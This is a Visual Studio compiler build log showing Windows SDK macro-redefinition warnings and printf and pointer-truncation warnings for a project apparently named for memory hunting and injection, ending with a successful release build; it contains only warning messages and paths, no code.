C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(4894,1): warning C4005: 'STATUS_CONTROL_C_EXIT': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2558): message : see previous definition of 'STATUS_CONTROL_C_EXIT'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(4972,1): warning C4005: 'STATUS_DLL_INIT_FAILED': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2559): message : see previous definition of 'STATUS_DLL_INIT_FAILED'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(5969,1): warning C4005: 'STATUS_CONTROL_STACK_VIOLATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2560): message : see previous definition of 'STATUS_CONTROL_STACK_VIOLATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(7527,1): warning C4005: 'STATUS_FLOAT_MULTIPLE_FAULTS': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2561): message : see previous definition of 'STATUS_FLOAT_MULTIPLE_FAULTS'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(7537,1): warning C4005: 'STATUS_FLOAT_MULTIPLE_TRAPS': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2562): message : see previous definition of 'STATUS_FLOAT_MULTIPLE_TRAPS'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(7669,1): warning C4005: 'STATUS_REG_NAT_CONSUMPTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2563): message : see previous definition of 'STATUS_REG_NAT_CONSUMPTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(8652,1): warning C4005: 'STATUS_HEAP_CORRUPTION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2564): message : see previous definition of 'STATUS_HEAP_CORRUPTION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(8880,1): warning C4005: 'STATUS_STACK_BUFFER_OVERRUN': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2565): message : see previous definition of 'STATUS_STACK_BUFFER_OVERRUN'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(9007,1): warning C4005: 'STATUS_INVALID_CRUNTIME_PARAMETER': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2566): message : see previous definition of 'STATUS_INVALID_CRUNTIME_PARAMETER'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(9070,1): warning C4005: 'STATUS_ASSERTION_FAILURE': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2567): message : see previous definition of 'STATUS_ASSERTION_FAILURE'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(9988,1): warning C4005: 'STATUS_ENCLAVE_VIOLATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2568): message : see previous definition of 'STATUS_ENCLAVE_VIOLATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(10415,1): warning C4005: 'STATUS_INTERRUPTED': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2569): message : see previous definition of 'STATUS_INTERRUPTED'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(10424,1): warning C4005: 'STATUS_THREAD_NOT_RUNNING': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2570): message : see previous definition of 'STATUS_THREAD_NOT_RUNNING'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(10718,1): warning C4005: 'STATUS_ALREADY_REGISTERED': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2571): message : see previous definition of 'STATUS_ALREADY_REGISTERED'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(14352,1): warning C4005: 'STATUS_SXS_EARLY_DEACTIVATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2573): message : see previous definition of 'STATUS_SXS_EARLY_DEACTIVATION'
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\shared\ntstatus.h(14361,1): warning C4005: 'STATUS_SXS_INVALID_DEACTIVATION': macro redefinition
C:\Program Files (x86)\Windows Kits\10\Include\10.0.19041.0\um\winnt.h(2574): message : see previous definition of 'STATUS_SXS_INVALID_DEACTIVATION'
C:\Users\redte\source\repos\RWX_MEMORY_HUNT_INJECT_DV\RWX_MEMORY_HUNT_INJECT_DV\RWX_MEMORY_HUNT_INJECT_DV.cpp(401,11): warning C4477: 'printf' : format string '%x' requires an argument of type 'unsigned int', but variadic argument 1 has type 'PVOID'
C:\Users\redte\source\repos\RWX_MEMORY_HUNT_INJECT_DV\RWX_MEMORY_HUNT_INJECT_DV\RWX_MEMORY_HUNT_INJECT_DV.cpp(401,11): warning C4313: 'printf': '%x' in format string conflicts with argument 1 of type 'PVOID'
C:\Users\redte\source\repos\RWX_MEMORY_HUNT_INJECT_DV\RWX_MEMORY_HUNT_INJECT_DV\RWX_MEMORY_HUNT_INJECT_DV.cpp(408,12): warning C4477: 'printf' : format string '%x' requires an argument of type 'unsigned int', but variadic argument 1 has type 'PVOID'
C:\Users\redte\source\repos\RWX_MEMORY_HUNT_INJECT_DV\RWX_MEMORY_HUNT_INJECT_DV\RWX_MEMORY_HUNT_INJECT_DV.cpp(408,12): warning C4313: 'printf': '%x' in format string conflicts with argument 1 of type 'PVOID'
C:\Users\redte\source\repos\RWX_MEMORY_HUNT_INJECT_DV\RWX_MEMORY_HUNT_INJECT_DV\RWX_MEMORY_HUNT_INJECT_DV.cpp(418,65): warning C4311: 'type cast': pointer truncation from 'HANDLE' to 'DWORD'
C:\Users\redte\source\repos\RWX_MEMORY_HUNT_INJECT_DV\RWX_MEMORY_HUNT_INJECT_DV\RWX_MEMORY_HUNT_INJECT_DV.cpp(418,65): warning C4302: 'type cast': truncation from 'HANDLE' to 'DWORD'
C:\Users\redte\source\repos\RWX_MEMORY_HUNT_INJECT_DV\RWX_MEMORY_HUNT_INJECT_DV\RWX_MEMORY_HUNT_INJECT_DV.cpp(419,107): warning C4311: 'type cast': pointer truncation from 'HANDLE' to 'DWORD'
C:\Users\redte\source\repos\RWX_MEMORY_HUNT_INJECT_DV\RWX_MEMORY_HUNT_INJECT_DV\RWX_MEMORY_HUNT_INJECT_DV.cpp(419,107): warning C4302: 'type cast': truncation from 'HANDLE' to 'DWORD'
C:\Users\redte\source\repos\RWX_MEMORY_HUNT_INJECT_DV\RWX_MEMORY_HUNT_INJECT_DV\RWX_MEMORY_HUNT_INJECT_DV.cpp(455,5): warning C4102: 'std': unreferenced label
Generating code
Previous IPDB not found, fall back to full compilation.
All 18 functions were compiled because no usable IPDB/IOBJ from previous compilation was found.
Finished generating code
RWX_MEMORY_HUNT_INJECT_DV.vcxproj -> C:\Users\redte\source\repos\RWX_MEMORY_HUNT_INJECT_DV\x64\Release\RWX_MEMORY_HUNT_INJECT_DV.exe